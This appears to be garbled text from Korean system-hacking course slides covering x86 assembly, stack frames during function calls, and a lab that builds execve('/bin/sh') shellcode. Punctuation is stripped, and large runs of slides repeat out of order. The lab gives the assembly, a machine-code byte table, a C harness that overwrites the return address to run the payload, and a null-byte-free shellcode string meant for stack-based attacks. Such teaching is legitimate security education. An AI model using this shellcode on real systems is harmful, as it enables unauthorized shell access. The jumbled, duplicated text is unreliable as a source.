0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 58: 80×86  시스템에 대한 이해

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

